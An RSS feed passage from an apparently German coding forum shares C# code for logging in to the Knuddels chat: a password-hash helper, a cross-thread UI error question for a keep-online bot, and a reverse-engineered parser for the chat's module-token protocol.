#007700">.</span><span style="color: #0000BB">__obj&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">_obj</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">result</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">object&nbsp;ToObject</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">__obj</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">override&nbsp;bool&nbsp;Equals</span><span style="color: #007700">(</span><span style="color: #0000BB">object&nbsp;obj</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">__obj&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">obj</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">override&nbsp;int&nbsp;GetHashCode</span><span style="color: #007700">()<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">__obj</span><span style="color: #007700">.</span><span style="color: #0000BB">GetHashCode</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: #0000BB">bool&nbsp;operator&nbsp;</span><span style="color: #007700">==(</span><span style="color: #0000BB">Serializable&nbsp;serializable</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Serializable&nbsp;serializable2</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">serializable</span><span style="color: #007700">.</span><span style="color: #0000BB">__obj&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">serializable2</span><span style="color: #007700">.</span><span style="color: #0000BB">__obj</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: #0000BB">bool&nbsp;operator&nbsp;</span><span style="color: #007700">!=(</span><span style="color: #0000BB">Serializable&nbsp;serializable</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">Serializable&nbsp;serializable2</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">serializable</span><span style="color: #007700">.</span><span style="color: #0000BB">__obj&nbsp;</span><span style="color: #007700">!=&nbsp;</span><span style="color: #0000BB">serializable2</span><span style="color: #007700">.</span><span style="color: #0000BB">__obj</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;}<br />}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Aufruf:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">int&nbsp;pwHash&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">Password</span><span style="color: #007700">.</span><span style="color: #0000BB">HashPassword</span><span style="color: #007700">(</span><span style="color: #DD0000">"Passwort"</span><span style="color: #007700">,&nbsp;</span><span style="color: #DD0000">"empfangener&nbsp;Key"</span><span style="color: #007700">);&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>MfG</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Brainy</dc:creator>
			<guid isPermaLink="true">sourcecode-91/passwort-kodierung-v9-0anp-31174</guid>
		</item>
		<item>
			<title><![CDATA[[C#] Login-Problem]]></title>
			<link>sourcecode-91/c-login-problem-14144?goto=newpost</link>
			<pubDate>Tue, 26 Jun 2012 22:33:10 GMT</pubDate>
			<description>Bin gerade dabei, meinen StayOnlineBot von VB in C# umzuschreiben. Ich habe alles, nur der Login funktioniert nicht. 
 
 
---Zitat---...</description>
			<content:encoded><![CDATA[<div>Bin gerade dabei, meinen StayOnlineBot von VB in C# umzuschreiben. Ich habe alles, nur der Login funktioniert nicht.<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">Zitat:</div>
	<div class="bbcode_quote printable">
		<hr />
		
			<b>InvalidOperationException wurde nicht behandelt.</b><br />
Ungültiger threadübergreifender Vorgang: Der Zugriff auf das Steuerelement cb_system erfolgte von einem anderen Thread als dem Thread, für den es erstellt wurde.
			
		<hr />
	</div>
</div>Folgenden Code verwende ich dafür:<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB"></span><span style="color: #007700">switch&nbsp;(</span><span style="color: #0000BB">cb_system</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">"Knuddels.de"</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ChatSystem&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ChatSystem</span><span style="color: #007700">.</span><span style="color: #0000BB">DE</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">"Knuddels.at"</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ChatSystem&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ChatSystem</span><span style="color: #007700">.</span><span style="color: #0000BB">AT</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;case&nbsp;</span><span style="color: #DD0000">"Knuddels.ch"</span><span style="color: #007700">:<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">ChatSystem&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">ChatSystem</span><span style="color: #007700">.</span><span style="color: #0000BB">CH</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;break;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}&nbsp;<br /></span><span style="color: #0000BB"></span>
</span>
</code></code><hr />
</div>Das System wähl ich in der Combobox mit dem Namen cb_system aus.<br />
<br />
In VB musste man nichts extra machen, wie sieht es hier aus? Die Hilfe, die Google mir ausspuckt, bringt mich auch nicht weiter. Deshalb hoffe ich auf euch :)<br />
<br />
Ich verwende als Hilfe die KNLib</div>

]]></content:encoded>
			<category domain="sourcecode-91">Sourcecode</category>
			<dc:creator>Pwned</dc:creator>
			<guid isPermaLink="true">sourcecode-91/c-login-problem-14144</guid>
		</item>
		<item>
			<title>:-Token (Module) parsen/schreiben</title>
			<link>sourcecode-91/token-module-parsen-schreiben-32102?goto=newpost</link>
			<pubDate>Mon, 25 Jun 2012 18:46:40 GMT</pubDate>
			<description>Hi, 
 
jeder von euch kennt bestimmt das :-Token, auch bezeichnet als Module-Token. Ich habe mich mal mit dem Applet beschäftigt und entstanden ist...</description>
			<content:encoded><![CDATA[<div>Hi,<br />
<br />
jeder von euch kennt bestimmt das :-Token, auch bezeichnet als Module-Token. Ich habe mich mal mit dem Applet beschäftigt und entstanden ist eine Klasse (inkl. 2 Klassen zum Lesen/Schreiben), die das Token parsen kann.<br />
<br />
<br />
Außerdem habe ich noch ein Sample für euch geschrieben, damit ihr nachvollziehen könnt, wie das Ganze funktioniert. Mit der Klasse könnt ihr aber nicht nur das :-Token parsen, sondern selber auch Pakete erzeugen.<br />
<br />
Zuerst braucht man eine Instanz mit dem Protokollstring.<br />
<br />
Diese Instanz ist sehr wichtig, da mit ihr dann alles andere geregelt wird (Pakete erzeugen und lesen).<br />
<br />
Außerdem habe ich beim Reversen die Methodennamen verändert, damit man besser nachvollziehen kann, was genau welche Methode macht. (jedoch nicht bei allen)<br />
<br />
Kommen wir zur Module-Klasse:<br />
<br />
<div class="bbcode_container">
	<div class="bbcode_description">PHP-Code:</div>
	<hr /><code class="bbcode_code"><code><span style="color: #000000">
<span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Collections</span><span style="color: #007700">.</span><span style="color: #0000BB">Generic</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Linq</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Text</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">Collections</span><span style="color: #007700">;<br /></span><span style="color: #0000BB">using&nbsp;System</span><span style="color: #007700">.</span><span style="color: #0000BB">IO</span><span style="color: #007700">;<br /><br />namespace&nbsp;</span><span style="color: #0000BB">Knuddels_Reverse<br /></span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;class&nbsp;</span><span style="color: #0000BB">Module<br />&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #007700">{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Hashtable&nbsp;i</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Hashtable&nbsp;g</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">int&nbsp;id</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Hashtable&nbsp;values</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">String&nbsp;protocolHash</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">ArrayList&nbsp;names</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">ArrayList&nbsp;f</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">int&nbsp;startValue</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">string&nbsp;protocolString</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">int&nbsp;protocolIndex</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">ArrayList&nbsp;n</span><span style="color: #007700">;<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">String&nbsp;Name&nbsp;</span><span style="color: #007700">{&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;(String)</span><span style="color: #0000BB">names</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">id</span><span style="color: #007700">&#93;;&nbsp;}&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Int32&nbsp;ID&nbsp;</span><span style="color: #007700">{&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">id</span><span style="color: #007700">;&nbsp;}&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Hashtable&nbsp;Values&nbsp;</span><span style="color: #007700">{&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">values</span><span style="color: #007700">;&nbsp;}&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">String&nbsp;Hash&nbsp;</span><span style="color: #007700">{&nbsp;</span><span style="color: #0000BB">get&nbsp;</span><span style="color: #007700">{&nbsp;return&nbsp;</span><span style="color: #0000BB">protocolHash</span><span style="color: #007700">;&nbsp;}&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">T&nbsp;GetValue</span><span style="color: #007700">&lt;</span><span style="color: #0000BB">T</span><span style="color: #007700">&gt;(</span><span style="color: #0000BB">string&nbsp;key</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">values&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;default(</span><span style="color: #0000BB">T</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Object&nbsp;value&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">values</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">key</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;if&nbsp;(</span><span style="color: #0000BB">value&nbsp;</span><span style="color: #007700">==&nbsp;</span><span style="color: #0000BB">null</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;default(</span><span style="color: #0000BB">T</span><span style="color: #007700">);<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;(</span><span style="color: #0000BB">T</span><span style="color: #007700">)</span><span style="color: #0000BB">value</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;static&nbsp;</span><span style="color: #0000BB">Module&nbsp;StartUp</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;moduleTree</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Module&nbsp;instance&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Module</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">instance</span><span style="color: #007700">.</span><span style="color: #0000BB">ParseTree</span><span style="color: #007700">(</span><span style="color: #0000BB">moduleTree</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">instance</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">object&nbsp;GetValue</span><span style="color: #007700">(</span><span style="color: #0000BB">object&nbsp;key</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">values</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">key</span><span style="color: #007700">&#93;;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Module</span><span style="color: #007700">()&nbsp;{&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Module</span><span style="color: #007700">(</span><span style="color: #0000BB">int&nbsp;id</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">id&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">id</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">values&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">Hashtable</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">Module&nbsp;Create</span><span style="color: #007700">(</span><span style="color: #0000BB">int&nbsp;id</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;return&nbsp;new&nbsp;</span><span style="color: #0000BB">Module</span><span style="color: #007700">(</span><span style="color: #0000BB">id</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">g&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">g</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">protocolHash&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">protocolHash</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">names&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">names</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">f&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">f</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">i&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">i</span><span style="color: #007700">,<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;};<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;private&nbsp;</span><span style="color: #0000BB">void&nbsp;Add</span><span style="color: #007700">(</span><span style="color: #0000BB">ArrayList&nbsp;arrayList</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">int&nbsp;num</span><span style="color: #007700">,&nbsp;</span><span style="color: #0000BB">object&nbsp;obj</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;while&nbsp;(</span><span style="color: #0000BB">arrayList</span><span style="color: #007700">.</span><span style="color: #0000BB">Count&nbsp;</span><span style="color: #007700">&lt;=&nbsp;</span><span style="color: #0000BB">num</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">arrayList</span><span style="color: #007700">.</span><span style="color: #0000BB">Add</span><span style="color: #007700">(</span><span style="color: #0000BB">null</span><span style="color: #007700">);<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">arrayList</span><span style="color: #007700">&#91;</span><span style="color: #0000BB">num</span><span style="color: #007700">&#93;&nbsp;=&nbsp;</span><span style="color: #0000BB">obj</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;}<br /><br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;public&nbsp;</span><span style="color: #0000BB">Module&nbsp;Parse</span><span style="color: #007700">(</span><span style="color: #0000BB">string&nbsp;packet</span><span style="color: #007700">)<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">PacketReader&nbsp;dataInput&nbsp;</span><span style="color: #007700">=&nbsp;new&nbsp;</span><span style="color: #0000BB">PacketReader</span><span style="color: #007700">(</span><span style="color: #0000BB">Encoding</span><span style="color: #007700">.Default.</span><span style="color: #0000BB">GetBytes</span><span style="color: #007700">(</span><span style="color: #0000BB">packet</span><span style="color: #007700">.</span><span style="color: #0000BB">Substring</span><span style="color: #007700">(</span><span style="color: #0000BB">2</span><span style="color: #007700">)));<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Module&nbsp;result</span><span style="color: #007700">;<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;try<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;{<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">short&nbsp;id&nbsp;</span><span style="color: #007700">=&nbsp;(</span><span style="color: #0000BB">short</span><span style="color: #007700">)</span><span style="color: #0000BB">dataInput</span><span style="color: #007700">.</span><span style="color: #0000BB">ReadShort</span><span style="color: #007700">();<br />&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="color: #0000BB">Module&nbsp;xb&nbsp;</span><span style="color: #007700">=&nbsp;</span><span style="color: #0000BB">this</span><span style="color: #007700">.</span><span style="color: #0000BB">Create</span><span style="color: #007700">(</span><span style="color: #0000BB">id</span><span 